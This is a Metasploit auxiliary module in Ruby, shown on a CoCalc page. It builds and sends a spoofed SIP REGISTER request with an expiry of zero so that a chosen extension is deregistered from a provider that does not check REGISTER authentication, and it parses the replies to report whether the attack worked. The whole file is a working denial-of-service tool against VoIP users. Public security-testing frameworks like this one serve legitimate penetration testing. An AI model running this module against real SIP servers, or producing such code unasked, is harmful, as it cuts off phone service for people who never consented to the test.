CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Udp
8
  include Msf::Auxiliary::Scanner
9

10
  def initialize
11
    super(
12
      'Name'           => 'SIP Deregister Extension',
13
      'Description'   => %q{
14
          This module will attempt to deregister a SIP user from the provider. It
15
        has been tested successfully when the sip provider/server doesn't use REGISTER
16
        authentication.
17
      },
18
      'Author'         => [ 'ChrisJohnRiley' ],
19
      'License'        =>  MSF_LICENSE
20
    )
21

22
    deregister_udp_options
23
    register_options(
24
      [
25
        Opt::RPORT(5060),
26
        OptString.new('SRCADDR', [true, "The sip address the spoofed deregister request is coming from",'192.168.1.1']),
27
        OptString.new('EXTENSION', [true, "The specific extension or name to target", '100']),
28
        OptString.new('DOMAIN', [true, "Use a specific SIP domain", 'example.com'])
29
      ])
30
    register_advanced_options(
31
      [
32
        OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]),
33
        OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060])
34
      ])
35
  end
36

37

38
  def setup
39
    # throw argument error if extension or domain contain spaces
40
    if datastore['EXTENSION'].match(/\s/)
41
      raise ArgumentError, "EXTENSION cannot contain spaces"
42
    elsif datastore['DOMAIN'].match(/\s/)
43
      raise ArgumentError, "DOMAIN cannot contain spaces"
44
    end
45
  end
46

47
  def run_host(ip)
48

49
    begin
50

51
      src = datastore['SRCADDR']
52
      ext = datastore['EXTENSION']
53
      dom = datastore['DOMAIN']
54
      sphost = datastore['SIP_PROXY_NAME']
55
      spport = datastore['SIP_PROXY_PORT'] || 5060
56
      conn_string = "#{ext}@#{dom}"
57

58
      # set Route header if SIP_PROXY is set
59
      if not sphost.nil? and not sphost.empty?
60
        route = "Route: <sip:#{sphost}:#{spport};lr>\r\n"
61
      end
62

63
      connect_udp
64

65
      print_status("Sending deregistration packet to: #{conn_string}")
66
      print_status("Using SIP proxy #{sphost}:#{spport}") if route
67

68
      req =  "REGISTER sip:#{dom} SIP/2.0" + "\r\n"
69
      req << route if route
70
      req << "Via: SIP/2.0/UDP #{src}" + "\r\n"
71
      req << "Max-Forwards: 70" +  "\r\n"
72
      req << "To: \"#{ext}\"<sip:#{conn_string}>" + "\r\n"
73
      req << "From: \"#{ext}\"<sip:#{conn_string}>" + "\r\n"
74
      req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n"
75
      req << "CSeq: 1 REGISTER" + "\r\n"
76
      req << "Contact: *" + "\r\n"
77
      req << "Expires: 0" + "\r\n"
78
      req << "Content-Length: 0" + "\r\n\r\n"
79

80
      udp_sock.put(req)
81
      response = false
82

83
      while (r = udp_sock.recvfrom(65535, 3) and r[1])
84
        response = parse_reply(r)
85
      end
86

87
      # print error information if no response has been received
88
      # may be expected if spoofing the SRCADDR
89
      print_error("No response received from remote host") if not response
90

91
    rescue Errno::EACCES
92
    ensure
93
      disconnect_udp
94
    end
95

96
  end
97

98
  def parse_reply(pkt)
99
    # parse response to check if the ext was successfully de-registered
100

101
    if(pkt[1] =~ /^::ffff:/)
102
      pkt[1] = pkt[1].sub(/^::ffff:/, '')
103
    end
104

105
    resp  = pkt[0].split(/\s+/)[1]
106
    rhost,rport = pkt[1], pkt[2]
107

108
    if(pkt[0] =~ /^To\:\s*(.*)$/i)
109
      testn = "#{$1.strip}".split(';')[0]
110
    end
111

112
    case resp.to_i
113
    when 401
114
      print_error("Unable to de-register #{testn} [401 Unauthorised]")
115
    when 403
116
      print_error("Unable to de-register #{testn} [403 Forbidden]")
117
    when 200
118
      print_good("#{testn} de-registered [200 OK]")
119
    else
120
      print_error("#{testn} : Undefined error code #{resp.to_i}")
121
    end
122

123
    return true # set response to true
124
  end
125
end
126

127